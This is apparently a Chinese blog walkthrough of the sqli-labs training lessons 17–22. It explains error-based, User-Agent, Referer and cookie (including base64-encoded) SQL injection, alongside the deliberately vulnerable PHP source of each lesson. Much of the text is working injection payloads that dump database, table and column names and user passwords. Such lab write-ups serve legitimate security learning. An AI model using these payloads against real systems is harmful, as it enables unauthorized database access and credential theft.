uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))

通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。

uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 1,1)),1))#submit=submit

关卡 Sql 语句

Sql 查询

源码如下,服务器先对用户名进行查询,若用户名存在则用传进的参数 passwd 覆盖掉原来的密码。也就是说只有当第一个 SELECT 执行成功时,UPDATE 语句才会被执行。为什么我们无法对 SELECT 语句进行注入?注意到 SELECT 是针对 uname 参数进行查询,但是当 uname 参数被传入时进入了 check_input() 函数,从而怀疑 check_input() 函数对传入的字符串进行了过滤。

$uname = check_input($_POST['uname']);  
$passwd = $_POST['passwd'];

// connectivity 
@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

//echo $row;
if($row)
{
      //echo '<font color= "#0000ff">';	
      $row1 = $row['username'];  	
      //echo 'Your Login name:'. $row1;
      $update = "UPDATE users SET password = '$passwd' WHERE username='$row1'";
      mysql_query($update);
      //echo "<br>";	
	
      if (mysql_error())
      {
            echo '<font color= "#FFFF00" font size = 3 >';
            print_r(mysql_error());
            echo "</br></br>";
            echo "</font>";
      }
      else
      {
            echo '<font color= "#FFFF00" font size = 3 >';
            //echo " You password has been successfully updated " ;		
            echo "<br>";
	    echo "</font>";
      }
      
      echo '<img src="../images/flag1.jpg"   />';	
      //echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else  
{
      echo '<font size="4.5" color="#FFFF00">';
      //echo "Bug off you Silly Dumb hacker";
      echo "</br>";
      echo '<img src="../images/slap1.jpg"   />';
      echo "</font>";  
}

check_input() 函数

源码如下,可以明显看到该函数对 uname 参数进行了强效的过滤。首先函数使用了 substr() 函数截取 uname 的前 15 位字符,限制了 uname 的输入长度。接着使用 get_magic_quotes_gpc() 函数判断 “magic_quotes_gpc” 是否是开启的,若是开启的就使用 stripslashes() 函数对单引号、双引号、反斜杠与 NULL等危险的字符进行转义。接着使用 ctype_digit() 函数判断 uname 是否为数字,若不是数字就使用 mysql_real_escape_string() 函数对字符进行转义,否则就使用 intval() 函数把数字转换为整型。

function check_input($value)
{
      if(!empty($value))
      {
            // truncation (see comments)
            $value = substr($value,0,15);
      }

      // Stripslashes if magic quotes enabled
      if (get_magic_quotes_gpc())
      {
            $value = stripslashes($value);
      }
      
      // Quote if not a number
      if (!ctype_digit($value))
      {
            $value = "'" . mysql_real_escape_string($value) . "'";
      }
      else
      {
            $value = intval($value);
      }
      return $value;
}

由此可见对 SELECT 语句的过滤是很强的,我们把通过 uname 参数注入 “a' OR 1 = 1#” 经过滤处理的 SELECT 语句输出来看看。可以看到经过转义,我们无法从该语句进行注入。

但是 UPDATE 语句并没有进行过滤,因此当我们可以绕过 SELECT 语句时,就可以通过 UPDATE 进行注入。为了加深理解,我们把注入后闭合的 UPDATE 语句输出来看看。

UPDATE users SET password = '' OR updatexml(1,concat("!",database()),2)#' WHERE username='admin'

Less-18

POST-Header Injection-Uagent field-Error based (基于错误的用户代理,头部 POST 注入)

判断注入类型

首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 User Agent。用户代理 User Agent 是一个 HTTP 头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

接下来注入个错误的用户名和密码,网页显示登录失败且仅回显了 IP Address。

判断注入类型,在用户名使用下面的所有注入,网页都回显密码修改失败。

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

在密码使用上面的所有注入,网页都回显密码修改失败。

注意到登录成功时,User Agent 会被回显到网页上,我们考虑 User Agent 头可能会存在注入。使用 brup 抓包,注入各种参数试试,都登录失败。

考虑到 Less 17 的经验,推断 uname 和 passwd 字段都进行了强效的过滤,我们注入正确的 uname 和 passwd 之后再次注入。此时发现当注入单引号闭合时,网页返回报错信息。

User-Agent: '

到此,我们得知在登录成功之后会执行另一个 Sql 语句,该语句会因为 User Agent 头而存在字符型注入漏洞。

获取数据库信息

由于我们不知道第二个 Sql 语句具体长啥样,因此我们要先测试如何正确闭合该 Sql 语句。使用单引号闭合后,使用 “#” 注释掉后面的语句,注入失败。

User-Agent: '#

注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号。

User-Agent: ''

在注入的两个单引号之间可以插入其他 Sql 语句,我们在这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,插入 updatexml() 报错时要用 OR 进行连接。

User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '

知道了闭合方式之后,注入的步骤和 Less 17 差不多。爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '

爆字段名,继续使用 updatexml() 报错注入。

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '

获取目标信息

使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。

User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '

通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。

User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '

关卡 Sql 语句

源码如下,不出所料 uname 和 passwd 都进行了强效的过滤,这导致了 SELECT 语句难以注入。在成功登录的情况下,网页会使用 INSERT 语句把 User-Agent 写入数据库中,而我们就是使用 INSERT 语句进行注入的。

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
      $uname = check_input($_POST['uname']);
      $passwd = check_input($_POST['passwd']);
	
      $sql = "SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
      $result1 = mysql_query($sql);
      $row1 = mysql_fetch_array($result1);
      if($row1)
      {
            echo '<font color= "#FFFF00" font size = 3 >';
	    $insert = "INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
	    mysql_query($insert);
	    //echo 'Your IP ADDRESS is: ' .$IP;
	    echo "</font>";
	    //echo "<br>";
            echo '<font color= "#0000ff" font size = 3 >';			
	    echo 'Your User Agent is: ' .$uagent;
	    echo "</font>";
	    echo "<br>";
	    print_r(mysql_error());			
	    echo "<br><br>";
	    echo '<img src="../images/flag.jpg"  />';
	    echo "<br>";
      }
      else
      {
            echo '<font color= "#0000ff" font size="3">';
	    //echo "Try again looser";
	    print_r(mysql_error());
	    echo "</br>";			
	    echo "</br>";
	    echo '<img src="../images/slap.jpg"   />';	
	    echo "</font>";  
      }
}

为了加深理解,我们把闭合后的 INSERT 输出来看看,可以看到 User-Agent 中的 payload 被成功放入。

INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('' OR updatexml(1,concat("!",database()),2) OR '', '127.0.0.1', 'admin')

Less-19

POST-Header Injection-Referer field-Error based (基于头部的 Referer POST 报错注入)

判断注入类型

首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 Referer。引用来源 Referer是 HTTP 头的一个字段,用于告诉服务器该网页是从哪个页面链接过来的。

接下来注入个错误的用户名和密码,网页显示登录失败且仅回显了 IP Address。

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显密码修改失败。

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

注意到登录成功时,Referer 会被回显到网页上,我们考虑 Referer 头可能会存在注入。使用 brup 抓包,注入正确的 uname 和 passwd 之后在 Referer 头使用单引号闭合。此时发现当注入单引号闭合时,网页返回报错信息。

Referer: '

注意到登录成功时,Referer 会被回显到网页上,我们考虑 Referer 头可能会存在注入。使用 brup 抓包,注入正确的 uname 和 passwd 之后在 Referer 头使用单引号闭合。此时发现当注入单引号闭合时,网页返回报错信息。

Referer: '

注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号。

Referer: ''

注入的步骤和 Less 17 差不多,这次我们使用 extractvalue() 报错注入。extractvalue() 报错注入和 updatexml() 报错差不多,extractvalue() 函数时对 XML 文档进行查询的函数。函数原型为:

extractvalue(XML_document, XPath_string)

参数 说明
XML_document String,XML 文档对象的名称
XPath_string Xpath 格式的字符串
爆数据库名,在注入的两个单引号之间放置 extractvalue() 报错注入。

Referer: ' OR extractvalue(1,concat("!",database())) OR '

爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。

Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))) OR '

爆字段名,继续使用 extractvalue() 报错注入。

Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'))) OR '

获取目标信息

使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。

Referer: ' OR (extractvalue(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)))) OR '

关卡 Sql 语句

此处向数据库插入的是 Referer 头,其他部分和 Less 18 类似。

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')

Less-20

HTTP 头的注入方式

HTTP User-Agent 注入

image-20240515210502191

image-20240515211223275

image-20240515211427347

通过查看配置文件,我们发现http头中的user-agent可以进行sql注入

浏览器进入到less-18发送数据并拦截

修改 User-Agent 字段 添加一个 ’ 单引号

image-20240515213433912

image-20240515215135017

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

image-20240515221216407

HTTP Referer 注入

image-20240515221552612

1.1 报错注入

Referer: http://192.168.37.136/sqli-labs/Less-19/'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1

image-20240515221816914

1.2 盲注测试

Referer: http://192.168.37.136/sqli-labs/Less-19/'or(length(database()))=9 or if(1=1,sleep(3),null) or '1'='1

image-20240515221942539

Cookie 注入

Less-20/ 输入 username ,password 输入 admin 并提交

image-20240515222240308

image-20240515222357018

暴表

Cookie: uname=admin' union select 1,2,database() -- #

暴字段

Cookie: uname=admin' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' -- #

暴数据

Cookie: uname=admin' union select 1,2,group_concat(username,0x7e,password)from security.users -- #

Cookie: uname=admin' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users# -- #

Less 21

Cookie Injection-Error Based-complex-string (基于错误的复杂的字符型 Cookie 注入)

判断注入类型

输入正确的用户名和密码进行登录,和 Less 20 一样网页回显了大量信息,再次刷新 Less 21 的页面没有变化。判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

img
抓登录网页发的包,没有看见什么有用的信息。
img
登陆之后刷新页面抓包,所抓到的包的 cookie 中的 uname 存储了一团乱码。
img
“%3D” 是 URL 编码中的等号,这个形式我们会优先考虑是 base64 编码,拿去解码看看。
img
由此我们得知 cookie 会对 uname 进行 base64 编码,这种防御还是很弱的,我们测试的时候也进行 base64 编码即可。在 uname 中使用单引号闭合,网页回显语法错误。

Cookie: uname=YWRtaW4n

img
测试使用单引号和括号闭合,网页正常回显数据,说明 cookie 存在使用单引号和括号闭合的字符型的 Sql 注入漏洞。

Cookie: YWRtaW4nKSM=

img

获取数据库信息

判断有几列我们可用,使用联合查询注入 3 个常数,得到 3 列的回显位置。

Cookie: uname=JykgVU5JT04gU0VMRUNUIDEsMiwzIw==

img
接下来的注入操作和 Less 20 的操作一样,在注入之前使用 base64 编码,爆数据库名。

Cookie: uname=JykgVU5JT04gU0VMRUNUIGRhdGFiYXNlKCksMiwzIw==

img
爆表名。

Cookie: uname=JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwyLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScj

img
爆字段名。

Cookie: uname=JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSksMiwzIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyBBTkQgdGFibGVfbmFtZSA9ICd1c2Vycycj

img

获取目标信息

构造出 payload 如下:

Cookie: dW5hbWU9JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb25jYXQoIjoiLHVzZXJuYW1lLHBhc3N3b3JkKSksMiwzIEZST00gc2VjdXJpdHkudXNlcnMj

img

关卡关键源码

setcookie('uname', base64_encode($row1['username']), time()+3600);

$cookee = base64_decode($cookee);
$sql = "SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result = mysql_query($sql);

Less 22

Cookie Injection-Error Based-Double Quotes-string (基于错误的双引号字符型 Cookie 注入)

判断注入类型

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

img
登陆之后刷新页面抓包,所抓到的包的 cookie 中的 uname 存储了一团乱码。
img
“%3D” 是 URL 编码中的等号,Less 22 使用的也是 base64 编码。
img
在 uname 中使用单引号闭合,网页回显语法错误。

Cookie: uname=YWRtaW4n

img
测试使用双引号闭合,网页正常回显数据,说明 cookie 存在使用双引号闭合的字符型的 Sql 注入漏洞。

Cookie: YWRtaW4iIw==

img

获取数据库信息

判断有几列我们可用,使用联合查询注入 3 个常数,得到 3 列的回显位置。

Cookie: uname=IiBVTklPTiBTRUxFQ1QgMSwyLDMj

img
接下来的注入操作和 Less 20 的操作一样,在注入之前使用 base64 编码,爆数据库名。

Cookie: uname=IiBVTklPTiBTRUxFQ1QgZGF0YWJhc2UoKSwyLDMj

img
爆表名。

Cookie: uname=IiBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpLDIsMyBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyM=

img
爆字段名。

Cookie: uname=IiBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSwyLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9zY2hlbWEgPSAnc2VjdXJpdHknIEFORCB0YWJsZV9uYW1lID0gJ3VzZXJzJyM=

img

获取目标信息

构造出 payload 如下:

Cookie: dW5hbWU9JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb25jYXQoIjoiLHVzZXJuYW1lLHBhc3N3b3JkKSksMiwzIEZST00gc2VjdXJpdHkudXNlcnMj

img

关卡关键源码

$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
$sql = "SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
$result = mysql_query($sql);
```)

标签:数据库,echo,uname,asan,id,SELECT,注入
From: https://www.cnblogs.com/xiaotianowo/p/18201370

相关文章

  • asan/gpreftools内存调试简明用法
     启用高版本gccsource/opt/rh/devtoolset-11/enable libasan编译选项makeEXTRA_CFLAGS="-O0-g-fsanitize=address-fsanitize-recover=address-fno-omit-frame-pointer-static-libasan-DBUILD_DEBUG-UDPDK_MALLOC-DRTE_MALLOC_ASAN" gpreftools编译选项makeE......
  • 内存检测工具——ASan(AddressSanitizer)的介绍和使用
    ASan介绍ASan全称AddressSanitizer,是一种内存错误检测工具,目的是帮助开发者检测和调试内存相关的问题,如使用未分配的内存、使用已释放的内存、堆内存溢出等。ASan是由Google开发的,广泛用于C、C++等语言的代码中。ASan的工作原理是在编译时将额外的代码插入到目标程序中,对内存的......
  • 无涯教程-Java 正则 - Matcher boolean hasAnchoringBounds()函数
    java.time.Matcher.hasAnchoringBounds()方法查询此匹配器的区域边界定位。booleanhasAnchoringBounds()-声明以下是java.time.Matcher.hasAnchoringBounds()方法的声明。publicbooleanhasAnchoringBounds()booleanhasAnchoringBounds()-返回值如果此匹配器使用锚......
  • PieCloudDB Database 自研内存管理器 ASanAlloc:为产品质量保驾护航
    内存管理是计算机科学中至关重要的一部分,它涉及到操作系统、硬件和软件应用之间的动态交互。有效的内存管理可以确保系统的稳定性和安全性,提高系统运行效率,帮助我们最大限度地利用有效的内存资源,合理分配和回收内存,预防各类内存错误。在计算机科学的早期,内存管理是由程序员手动完成......
  • Asana类似的3大国产项目管理工具对比
    Asana好用吗?Asana作为一款办公软件的话,其应用范围和受众范围是极为有限。支持这款软件的人把它夸上天,认为其他同类型产品根本不值一提;不支持这款软件的人又把它“束之高阁”,根本不想再用它。Asana正是近些年具有代表性的办公通讯软件之一,也是最具有争议的一个。支持这款软件......
  • kmemleak 和kasan 的区别
    kmemleak和kasan都是Linux内核中的一些工具和特性,用于帮助进行内存错误检测和修复。然而,它们之间有一些区别:功能:kmemleak用于检测内核中未释放的内存泄漏,它可以跟踪内核中分配的内存块,并在系统运行时检查未释放的内存。kasan(内核地址Sanitizer)是一个内存错误检测器,用于检测......
  • MacOS 使用 Asan 编译 C++报警告malloc: nano zone abandoned due to inability to re
    问题clang(llvm)编译c++程序,带内存问题检查工具选项-fsanitize=address-fsanitize=undefined之后出现:malloc:nanozoneabandonedduetoinabilitytoreservevmspace.解决vi~/.zshrc#加入:exportMallocNanoZone=0source~/.zshrc参考:ios-malloc:nanozonea......
  • asan
    参考资料:https://blog.csdn.net/weixin_45396052/article/details/119136109简介addresssanitizier(地址消毒剂),简称asan,是一款内存检测工具,可用于检测一下错误:1、堆内存、栈内存和全局变量的越界(-fsanitize=address)2、已释放内存(野指针)的使用(-fsanitize=address)3......
  • 内存问题难定位,那是因为你没用ASAN
    ASAN全称:AddressSanitizer,google发明的一种内存地址错误检查器。目前已经被集成到各大编译器中。本文分享自华为云社区《内存定位利器-ASAN使用小结》,作者:云存储开发者支持团队。1.什么是ASANASAN全称:AddressSanitizer,google发明的一种内存地址错误检查器。目前已经被集......
  • Linux内存管理 (22)内存检测技术(slub_debug/kmemleak/kasan)【转】
    转自:https://www.cnblogs.com/arnoldlu/p/8568090.htmlLinux常见的内存访问错误有:越界访问(outofbounds)访问已经释放的内存(useafterfree)重复释放内存泄露(memoryleak)栈溢出(stackoverflow)不同的工具有不同的侧重点,本章主要从slub_debug、kmemleak、kasan三......